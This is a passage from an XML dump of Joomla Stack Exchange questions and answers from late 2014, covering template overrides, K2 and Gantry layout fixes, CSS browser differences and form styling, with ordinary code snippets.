  <row Id="5433" PostTypeId="2" ParentId="5124" CreationDate="2014-11-27T05:35:52.837" Score="-3" Body="&lt;p&gt;Don't edit the blog_item.php just create a template override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how you get to render content plugin in content fulltext:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$full_text = JHTML::_('content.prepare', $fulltext);&#xA;// see it in var_dump($full_text); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br/&gt;&#xA;You will get error if there are plugins that overriding your articles display, i.e : &lt;em&gt;DISQUS comment Plugin&lt;/em&gt; by JoomlaWorks.&#xA;So you must edit(or override) that plugin views template instead. (not the blog_item.php).&lt;/p&gt;&#xA;" OwnerUserId="2247" LastEditorUserId="2247" LastEditDate="2014-11-27T09:53:02.800" LastActivityDate="2014-11-27T09:53:02.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5434" PostTypeId="1" AcceptedAnswerId="5436" CreationDate="2014-11-27T05:59:56.380" Score="3" ViewCount="273" Body="&lt;p&gt;i am working on k2 example plugin, i want to add image selector field in k2 category section, i have already created html contents and text fields using the same and is working ,&#xA;but i don't know that we write as type for XML field. plz help me..&lt;/p&gt;&#xA;" OwnerUserId="2268" LastActivityDate="2014-11-27T08:19:08.093" Title="How to add image selector field in k2 example plugin?" Tags="|joomla-3.3.x|plugin|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5435" PostTypeId="1" AcceptedAnswerId="5437" CreationDate="2014-11-27T06:02:21.563" Score="2" ViewCount="463" Body="&lt;p&gt;I have a site whose front page is a single page scroll.  The template builds this as consecutive modules (template is Joomlart ja_cloris for reference).  I've made some changes tonight to my contact form which is the last module position on the page and for some reason it overlaps the footer at the bottom.  This occurs only in Chrome.&#xA;In Firefox and IE it displays correctly. I can't figure out what is causing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template, the module positions are defined as such: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;layout name=&quot;desktop&quot;&amp;gt;&#xA;    &amp;lt;!--Extra css load for this layout--&amp;gt;&#xA;    &amp;lt;stylesheets&amp;gt;&#xA;    &amp;lt;/stylesheets&amp;gt;&#xA;    &amp;lt;blocks name=&quot;top&quot; style=&quot;xhtml&quot;&amp;gt;&#xA;        &amp;lt;block name=&quot;absolute&quot; type=&quot;modules&quot; style=&quot;raw&quot;&amp;gt;absolute&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;top-panel&quot; type=&quot;modules&quot; style=&quot;raw&quot; main-inner=&quot;1&quot;&amp;gt;top-panel&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;subnav&quot; type=&quot;subnav&quot; main-inner=&quot;1&quot;&amp;gt;&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;Login Form&quot; type=&quot;Login&quot;&amp;gt;&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;onepage&quot; type=&quot;onepage&quot; pageid=&quot;&quot; no-wrap=&quot;1&quot; no-main=&quot;0&quot;&amp;gt;&#xA;            &amp;lt;page name=&quot;landing&quot; type=&quot;modules&quot; title=&quot;Intro&quot; class=&quot;light first-item&quot;&amp;gt;page1&amp;lt;/page&amp;gt;&#xA;            &amp;lt;page name=&quot;home&quot; type=&quot;modules&quot; title=&quot;Your Home&quot; class=&quot;light&quot;&amp;gt;page2&amp;lt;/page&amp;gt;&#xA;            &amp;lt;page name=&quot;media&quot; type=&quot;modules&quot; title=&quot;Media&quot; class=&quot;light&quot;&amp;gt;page3&amp;lt;/page&amp;gt;&#xA;            &amp;lt;page name=&quot;security&quot; type=&quot;modules&quot; title=&quot;Security&quot; class=&quot;light&quot;&amp;gt;page4&amp;lt;/page&amp;gt;&#xA;            &amp;lt;page name=&quot;climate&quot; type=&quot;modules&quot; title=&quot;Climate&quot; class=&quot;light&quot;&amp;gt;page5&amp;lt;/page&amp;gt;&#xA;            &amp;lt;page name=&quot;lighting&quot; type=&quot;modules&quot; title=&quot;Lighting&quot; class=&quot;light&quot;&amp;gt;page6&amp;lt;/page&amp;gt;&#xA;            &amp;lt;page name=&quot;contact&quot; type=&quot;modules&quot; title=&quot;Questions&quot; class=&quot;light last-item&quot;&amp;gt;page8&amp;lt;/page&amp;gt;&#xA;        &amp;lt;/block&amp;gt;        &#xA;        &amp;lt;block name=&quot;cpanel&quot; type=&quot;usertools/cpanel&quot;&amp;gt;&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;topsl&quot; type=&quot;spotlight&quot; main-inner=&quot;1&quot;&amp;gt;user1,user2,user3,user4,user5&amp;lt;/block&amp;gt;   &#xA;    &amp;lt;/blocks&amp;gt;&#xA;    &amp;lt;blocks name=&quot;middle&quot; main-inner=&quot;1&quot; colwidth=&quot;30&quot;&amp;gt;&#xA;        &amp;lt;block name=&quot;left1&quot;&amp;gt;left&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;right1&quot;&amp;gt;right&amp;lt;/block&amp;gt;&#xA;    &amp;lt;/blocks&amp;gt;&#xA;    &amp;lt;blocks name=&quot;bottom&quot; style=&quot;xhtml&quot;&amp;gt;&#xA;        &amp;lt;block name=&quot;navhelper&quot; type=&quot;navhelper&quot; wrap-inner=&quot;1&quot; main-inner=&quot;1&quot;&amp;gt;&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;botsl&quot; type=&quot;spotlight&quot; wrap-inner=&quot;1&quot; main-inner=&quot;1&quot; special=&quot;right&quot; specialwidth=&quot;55&quot;&amp;gt;user6,user7,user8,user9,user10&amp;lt;/block&amp;gt;&#xA;        &amp;lt;block name=&quot;footer&quot; type=&quot;footer&quot; main-inner=&quot;1&quot;&amp;gt;&amp;lt;/block&amp;gt;&#xA;    &amp;lt;/blocks&amp;gt;&#xA;&amp;lt;/layout&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The module exhibiting the problem is the second module in position &quot;page8&quot;.&#xA;The site is live at www.fhsny.com.  Scroll to the bottom or hit the &quot;Questions&quot; nav link.  The problem is the second module which displays my address &amp;amp; phone details and has the Google Voice &quot;call me&quot; widget.&#xA;As you can see in Chrome, this overlaps the orange line of the orange and black page &quot;footer&quot; while in Firefox and IE this displays right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts, ideas or pushes in the right direction appreciated.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2276" LastEditorUserId="168" LastEditDate="2014-11-27T09:33:56.013" LastActivityDate="2014-11-27T09:41:32.810" Title="Why does this module appear differently in Chrome and correctly in Firefox and Internet Explorer?" Tags="|joomla-2.5|templates|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5436" PostTypeId="2" ParentId="5434" CreationDate="2014-11-27T08:19:08.093" Score="0" Body="&lt;p&gt;To create a image selector which uses Joomla's built-in Media Manager, you can use the following form field type in your XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;myimage&quot; type=&quot;media&quot; directory=&quot;stories&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on the &lt;em&gt;media&lt;/em&gt; type form field, please read the Joomla documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Media_form_field_type&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Media_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-27T08:19:08.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5437" PostTypeId="2" ParentId="5435" CreationDate="2014-11-27T09:41:32.810" Score="1" Body="&lt;p&gt;This is because you have a set height being applied to the &lt;code&gt;.last-item&lt;/code&gt; class which can be located on line &lt;strong&gt;916&lt;/strong&gt; of &lt;em&gt;template.css&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div.last-item { height: 780px !important; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All browsers render something things a little differently, such as text. Text in webkit browsers and even IE are slightly bigger than the likes of Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing I would suggest to do in your case is simply comment out the above code so it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**div.last-item { height: 780px !important; }**/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you will that overlapping disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-27T09:41:32.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5438" PostTypeId="1" CreationDate="2014-11-27T10:08:42.763" Score="5" ViewCount="4988" Body="&lt;p&gt;I use the category blog layout and override it to wrap a link around the article intro-image, which points to the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i want to achieve a responsive image grid positioning like you can see &lt;a href=&quot;https://joomla.stackexchange.com/a/5273/2131&quot;&gt;here&lt;/a&gt;. This could be achieved by using CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i don't know which CSS file i have to edit or how to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody know how to achieve this and also a tip about what the CSS class(es) should look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Joomla 3.3.6 and the Afterburner2 template with Gantry framework.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks for the solutions...(I would rate it but I have not enough reps)&#xA;After I read them iI tried again and realized that I could change the column count in the settings of the menu item. This appears to me much more intuitive than making an override for the whole &lt;code&gt;blog.php&lt;/code&gt;. I mean if I write the count of columns static in &lt;code&gt;blog.php&lt;/code&gt; it is very inflexible!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that approach I had the problem that the intro text was always shown. Also when I set the option &quot;Show intro text&quot; in article or in menu to &quot;hide&quot;. So i set the &quot;more&quot; at the beginning of the article and after that the text of the article. &quot;Show read more&quot; i also set to hide. So on my site with the category blog i only see images. One row with 4 images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I get another problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I could not change the spacing between the images, because i want to make it a bit smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If I reduce the width of the page so that only two images are displayed in one row, they are not exactly side by side. The right one is a bit under the left one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I thought that is the correct way I used, but after a while I was unsure again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be a good way (save it with a CSS override or something) or should I start again with another approach for example, edit the &lt;code&gt;blog.php&lt;/code&gt; (at beginning I wanted to edit it, but then I don't how to change the part in &lt;code&gt;blog.php&lt;/code&gt; to a 3- or 4-column layout)!?&lt;/p&gt;&#xA;" OwnerUserId="2131" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-12-04T01:11:14.257" Title="Blog layout - responsive image grid positioning" Tags="|joomla-3.x|overrides|content|gantry|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5439" PostTypeId="1" CreationDate="2014-11-27T10:25:22.373" Score="3" ViewCount="3944" Body="&lt;p&gt;I am trying to figure out if the setup of products is possible with virtuemart 3.0, but I cannot wrap my head around it completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Goal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One Product with one Option for colour and another for size, so that two Dropdown Menus appear on Product view. Each combination of colour and size should map to a »child« product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;one custom Field: Generic Child Variant,&lt;/li&gt;&#xA;&lt;li&gt;two custom Fields: type: String, as list, with values for colours and sizes&lt;/li&gt;&#xA;&lt;li&gt;a »parent« product, with these three custom fields attached&lt;/li&gt;&#xA;&lt;li&gt;some child products with a discrete colour and size&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That gives me a page with one Dropdown-Menu to select the different child products, but I would like to have a dropdown for colour and one for size. If the user changes one, the desired discrete product is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible with Virtuemart 3.0? If yes, how can I set this up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in ahead!&lt;/p&gt;&#xA;" OwnerUserId="2246" LastActivityDate="2019-02-28T20:17:41.390" Title="Virtuemart 3.0—Product Configuration with two options" Tags="|joomla-3.3.x|virtuemart|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5441" PostTypeId="2" ParentId="5425" CreationDate="2014-11-27T11:26:28.913" Score="3" Body="&lt;p&gt;As per the current behavior of Joomla user can be in multiple usergroups and there is no hidden or inbuilt functionality available which can be utilized to implement such scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But obviously there are some alternates to everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can develop a plugin which will maintain a mapping of mutually exclusive user groups like User-group A is mutually exclusive to User-group B and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on Joomla userevents(onUserBeforeSave) you can check the difference between the usergroups and if there is any usergroup update which is not allowed then either return false in the event or redirect or show some error, whatever you like.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-11-27T11:26:28.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5442" PostTypeId="2" ParentId="5438" CreationDate="2014-11-27T11:50:39.837" Score="2" Body="&lt;p&gt;Afterburner 2 is based on the Gantry Framework so you can add custom CSS at &lt;code&gt;/public_html/templates/rt_afterburner2/css&lt;/code&gt;. You may need to create the file if it doesn't already exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use media queries in your CSS to (for example) vary the number of columns depending on the screen width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extracting the relevant lines from the media queries file included in the template at &lt;code&gt;/public_html/templates/rt_afterburner2/less/mediaqueries.less&lt;/code&gt; can provide a skeleton as a starting point for you to create your responsive layouts for each screen width which might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media only screen and (min-width: 1200px) {&#xA;  /* four columns */&#xA;  .columns {float: left; width: 25%;}&#xA;}&#xA;&#xA;@media only screen and (min-width: 960px) and (max-width: 1199px) {&#xA;  /* four columns */&#xA;  .columns {float: left; width: 25%;}&#xA;}&#xA;&#xA;@media (min-width: 768px) and (max-width: 959px) {&#xA;  /* three columns */&#xA;  .columns {float: left; width: 33%;}&#xA;}&#xA;&#xA;@media (max-width: 767px) {&#xA;  /* two columns */&#xA;  .columns {float: left; width: 50%;}&#xA;}&#xA;&#xA;@media only screen and (max-width: 480px) {&#xA;  /* one column */&#xA;  .columns {float: left; width: 100%;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.gantry-framework.org/documentation/joomla/advanced/responsive_grid_system.md&quot; rel=&quot;nofollow&quot;&gt;http://www.gantry-framework.org/documentation/joomla/advanced/responsive_grid_system.md&lt;/a&gt; for more details about the Gantry responsive grid system.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-11-27T11:57:42.400" LastActivityDate="2014-11-27T11:57:42.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5444" PostTypeId="2" ParentId="5438" CreationDate="2014-11-27T17:19:14.547" Score="3" Body="&lt;p&gt;Gantry has built-in support for columns, and is responsive. You can use it like this (this example will give you 3 columns, each 33.33% wide):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;gantry-width-33 gantry-width-block&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;gantry-width-spacer&quot;&amp;gt;&#xA;       &amp;lt;img src=&quot;image1.jpg&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;gantry-width-33 gantry-width-block&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;gantry-width-spacer&quot;&amp;gt;&#xA;       &amp;lt;img src=&quot;image2.jpg&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;gantry-width-33 gantry-width-block&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;gantry-width-spacer&quot;&amp;gt;&#xA;       &amp;lt;img src=&quot;image3.jpg&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add CSS code to any RocketTheme template, simply create a new file like this: &lt;code&gt;/templates/YOURTEMPLATE/css/YOURTEMPLATE-custom.css&lt;/code&gt;, in your case &lt;code&gt;/templates/rt_afterburner2/css/rt_afterburner2-custom.css&lt;/code&gt;. The file will be detected automatically by Gantry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, to get this to work with the Blog layout, you have to create an override for &lt;code&gt;\components\com_content\views\category\tmpl\blog.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, you copy this file to &lt;code&gt;\templates\rt_afterburner2\html\com_content\category\blog.php&lt;/code&gt; and modify it, but Gantry has a different way of handling overrides, and you should copy it to &lt;code&gt;\templates\rt_afterburner2\html\joomla\3.3\com_content\category\blog.php&lt;/code&gt; (assuming you're using Joomla 3.3 or later).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-27T17:19:14.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5445" PostTypeId="2" ParentId="5398" CreationDate="2014-11-27T20:14:45.870" Score="4" Body="&lt;p&gt;This is another method of doing the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goes above the doctype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $app = JFactory::getApplication();&#xA;  $menu = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;  $pageclass = '';&#xA;&#xA;  if (is_object($menu))&#xA;    $pageclass = $menu-&amp;gt;params-&amp;gt;get('pageclass_sfx');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Goes in your index where your body class is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;&amp;lt;?php echo $pageclass ? htmlspecialchars($pageclass) : 'default'; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, anything you add into the menu item's page class will appear in the body id. Any menu item without a class will automatically be body id=&quot;default&quot;. &lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-11-27T20:14:45.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5446" PostTypeId="2" ParentId="4431" CreationDate="2014-11-27T21:39:35.750" Score="2" Body="&lt;p&gt;I had the same problem couldn't find solution on other websites, so fixed it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case solution was to remove &lt;code&gt;onContentSearch&lt;/code&gt; on first line in the file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;public_html/plugins/search/fieldsattachmentadvanced/fieldsattachmentadvanced.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably the developer put it there by mistake. :)&lt;/p&gt;&#xA;" OwnerUserId="2281" LastEditorUserId="168" LastEditDate="2014-11-27T23:23:01.680" LastActivityDate="2014-11-27T23:23:01.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5447" PostTypeId="1" CreationDate="2014-11-27T23:20:53.807" Score="3" ViewCount="1051" Body="&lt;p&gt;I'm working with Joomla 3.3.6 and I've been looking to achieve something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WHAT I HAVE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category description&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&quot;article title1&quot;         &quot;article title2&quot;         &quot;article title3&quot;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&quot;article title4&quot;         &quot;article title5&quot;         &quot;article title6&quot;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&quot;article title7&quot;         &quot;article title8&quot;         &quot;article title9&quot;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.......&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WHAT I WANT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SUBCATEGORY TITLE1&lt;br/&gt;&#xA;&quot;article title1&quot;         &quot;article title2&quot;         &quot;article title3&quot;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&quot;article title4&quot;         &quot;article title5&quot;         &quot;article title6&quot;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;SUBCATEGORY TITLE2&lt;br/&gt;&#xA;&quot;article title7&quot;         &quot;article title8&quot;         &quot;article title9&quot;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.........&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't find any extension, only found a workaround with modules, but it has some negative points.&lt;br/&gt;&#xA;Probably I've got to do a override! &lt;br/&gt;&#xA;Note: I'm using the Nite yootheme template&lt;br/&gt;&#xA;How can I do this?&lt;br/&gt;&#xA;thanks in advance&lt;br/&gt;&lt;br/&gt;&#xA;&lt;strong&gt;UPDATE - FOUND A SOLUTION&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;1) follow the instructions on how to create a layout override in a yootheme template in this link: &lt;a href=&quot;http://yootheme.com/themes/documentation/developers/customization&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/themes/documentation/developers/customization&lt;/a&gt; where it says &quot;LAYOUT OVERRIDES&lt;br/&gt;&#xA;2) becaus we're dealiing with the category blog, following the instructions in '1)' copy the blog.php file&lt;br/&gt;&#xA;3) open the file in a txt editor&lt;br/&gt;&#xA;4) search for this piece of code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($count = count($columns)) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and right below it place this code:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item = &amp;amp;$item;&#xA;$subcat = $this-&amp;gt;item-&amp;gt;category_title;&#xA;$articles  .= '&amp;lt;h3 class=&quot;uk-h3&quot;&amp;gt;'. $subcat .'&amp;lt;/h3&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that's it&lt;/p&gt;&#xA;" OwnerUserId="2282" LastEditorUserId="126" LastEditDate="2016-01-22T00:08:46.903" LastActivityDate="2016-01-22T00:08:46.903" Title="Joomla 3.3.6 subcategory title in category blog" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5449" PostTypeId="1" AcceptedAnswerId="5454" CreationDate="2014-11-28T06:37:18.180" Score="7" ViewCount="4925" Body="&lt;p&gt;Is there anyway to override MVC classes in Joomla 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this thread but it is for Joomla 2.5. &lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;How to override core classes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done MVC overrides in Joomla 2.5 successfully but now I have moved to Joomla 3. But that plugin not supported for Joomla 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this article but I haven't good idea to write a plugin. Same concept has been used in the plugin which I used earlier in Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also can I extend those classes and overwrite methods?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I want to override registration email template, user login task to check user type and profile view to retrieve more data from my tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this plugin- &lt;a href=&quot;https://github.com/phproberto/joomla-mvc-override&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/phproberto/joomla-mvc-override&lt;/a&gt;&#xA;But it gives errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Warning: fopen(D:\xampp\htdocs\my_project/libraries/legacy/module/helper.php): failed to open stream: No such file or directory in D:\xampp\htdocs\my_project\libraries\joomla\filesystem\file.php on line 327&#xA;?&amp;gt;&#xA;&#xA;    Fatal error: Class 'JModuleHelperLibraryDefault' not found in D:\xampp\htdocs\my_project\plugins\system\mvcoverride\core\module\helper.php on line 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who faced this kind experience?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-11-30T14:17:45.900" Title="Override MVC classes in Joomla 3" Tags="|joomla-3.x|plugin|overrides|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5450" PostTypeId="1" CreationDate="2014-11-28T08:14:43.977" Score="2" ViewCount="98" Body="&lt;p&gt;I got hired for a job where I should enhance a website which where created on Joomla 1.5.23 before I got there.&#xA;Of course, anybody there can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not a web expert. I was here for marketing development but get basic knowledge of HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is a hard to understand one. The homepage contains modules and I would like to see the whole architecture of the website before doing things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone advise me on a good module or extension displaying the whole site like a diagram?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much.&lt;/p&gt;&#xA;" OwnerUserId="2285" LastActivityDate="2014-11-28T10:23:03.267" Title="Can I get the architecture of my website (Joomla 1.5.23)" Tags="|module|joomla-1.5|software-architecture|" AnswerCount="1" CommentCount="4" ClosedDate="2014-11-30T14:14:00.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="5452" PostTypeId="1" AcceptedAnswerId="5453" CreationDate="2014-11-28T09:46:23.577" Score="2" ViewCount="1453" Body="&lt;p&gt;What's the best way to update the form class in RSForm!Pro if the error message is shown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be done using jQuery or a PHP script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code when the error is shown is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://webaddresshere.com&quot; enctype=&quot;multipart/form-data&quot; class=&quot;formResponsive&quot; id=&quot;userForm&quot; method=&quot;post&quot;&amp;gt;&amp;lt;p class=&quot;error&quot;&amp;gt;Please complete all required fields!&amp;lt;/p&amp;gt;&#xA;&amp;lt;h2&amp;gt;Inapub in your inbox&amp;lt;/h2&amp;gt;&#xA;&amp;lt;!-- Do not remove this ID, it is used to identify the page so that the pagination script can work correctly --&amp;gt;&#xA;&amp;lt;fieldset id=&quot;rsform_5_page_0&quot; class=&quot;formHorizontal formContainer&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;rsform-block rsform-block-intro&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Subscribe to our newsletter today to recieve the latest blogs and stories from the team and exclusive product offers&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;rsform-block rsform-block-full-name&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;formBody&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;rsform-input-box&quot; onfocus=&quot;this.value=''&quot; id=&quot;Full name&quot; name=&quot;form[Full name]&quot; size=&quot;20&quot; value=&quot;Full name&quot;&amp;gt;&amp;lt;span class=&quot;formValidation&quot;&amp;gt;&amp;lt;span class=&quot;formNoError&quot; id=&quot;component47&quot;&amp;gt;Please enter your full name&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    